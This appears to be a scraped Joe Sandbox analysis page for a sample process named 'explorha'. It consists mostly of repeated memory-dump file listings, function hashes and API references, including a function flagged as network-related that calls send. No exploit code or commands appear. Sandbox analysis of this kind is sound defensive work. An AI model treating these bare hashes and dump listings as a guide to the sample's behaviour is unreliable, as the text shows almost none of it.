Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 6d0ad346ff2cc47b6a48df2fa18724c6ca6f8a8a5d48859c7de7a18250a75dd7
Instruction ID: 0f00f2e2e435eb528f5b71d95c357073a937541b5b53d869bf0dcdc4e7c62dbf
Opcode Fuzzy Hash: 6d0ad346ff2cc47b6a48df2fa18724c6ca6f8a8a5d48859c7de7a18250a75dd7
Instruction Fuzzy Hash: A701D277A1472525B6182058BC0266B2FD8EFC2BB072A40BEFC88FB5D1EF94DD424194

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD6EE Relevance: 7.7, APIs: 5, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00ADD75D
__Mtx_unlock.LIBCPMT ref: 00ADD86D

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 342e03e8e1c4111f82e58c83b979d262cc48acfcb124838aba1efe5befbd19a4
Instruction ID: 6996d0cbc1867e87094411335616c78ae1a12d77193e88bd3f7fc5bdbfb8ec44
Opcode Fuzzy Hash: 342e03e8e1c4111f82e58c83b979d262cc48acfcb124838aba1efe5befbd19a4
Instruction Fuzzy Hash: 61810971A042159FD721DB28CD85F6AB7B4FF09314F1041AAF91AE7791EB31AD40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B0E110 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B0E197

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
Instruction ID: c29a6d41589ae75365bb2accfda12ff0725ad9c86fe652a8287e65f79f2bfa1f
Opcode Fuzzy Hash: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
Instruction Fuzzy Hash: 1EB124329002959FDB16CF68C881BAEBFE5EF55340F1489EAE461EB381D634DD41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00AD2DC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AD2E5F
__Mtx_unlock.LIBCPMT ref: 00AD2ECC
__Mtx_unlock.LIBCPMT ref: 00AD2FF5
__Mtx_unlock.LIBCPMT ref: 00AD309B

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 0cb846ccb8cf1488d4932402c33b500e23a825bca249040d362c03c8d194b0d5
Instruction ID: a67f84a72e2a4952c2296826a72873a92f0fc7924d65db29679f51f467be8187
Opcode Fuzzy Hash: 0cb846ccb8cf1488d4932402c33b500e23a825bca249040d362c03c8d194b0d5
Instruction Fuzzy Hash: 3BA1F071A013469FDB21DB65CA44B9AB7B8FF25310F04852AE816D7381EB35EA04CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD2DC Relevance: 6.2, APIs: 4, Instructions: 168networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000004,00000000), ref: 00ADD43E
send.WS2_32(?,?,00000008,00000000), ref: 00ADD47A
send.WS2_32(?,?,?,00000000), ref: 00ADD4BC

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703275180.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703334570.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703352327.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703373518.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703476773.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703498778.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703525343.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703545526.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703565671.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703604038.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703620385.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703640186.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703656660.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703676863.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703693901.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703709975.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703725940.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703742056.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703761609.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703784203.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703801367.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703817417.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703833797.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703849675.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703866948.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703886160.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703902658.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703919079.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703935678.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703953597.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703970977.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1703988093.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704004428.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704021518.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704038782.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704059167.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704075413.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704092789.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704109149.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704125853.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704143004.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704165031.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704182731.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704223334.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704241351.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704258283.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704275035.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704291208.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704310148.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1704327809.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 16165d95e244eece3f31a74ca0da72fcc0d413d2082eb05b3febec4600af007e
Instruction ID: c90eb83c6060c2037fa77f245a2e058abdb6d891b4cb31b1eb4814d440f96403
Opcode Fuzzy Hash: 16165d95e244eece3f31a74ca0da72fcc0d413d2082eb05b3febec4600af007e
Instruction Fuzzy Hash: 5641FC72E001145BDB18CB7CDC857ADB7B5EF45324F10466AE92AE73D1DB30A940CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00ADDAEB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00ADDB4C

Strings

stoi argument out of range, xrefs: 00ADDCFA
invalid stoi argument, xrefs: 00ADDD04

Memory Dump Source

Source File: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000001.00000002.1703246898.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
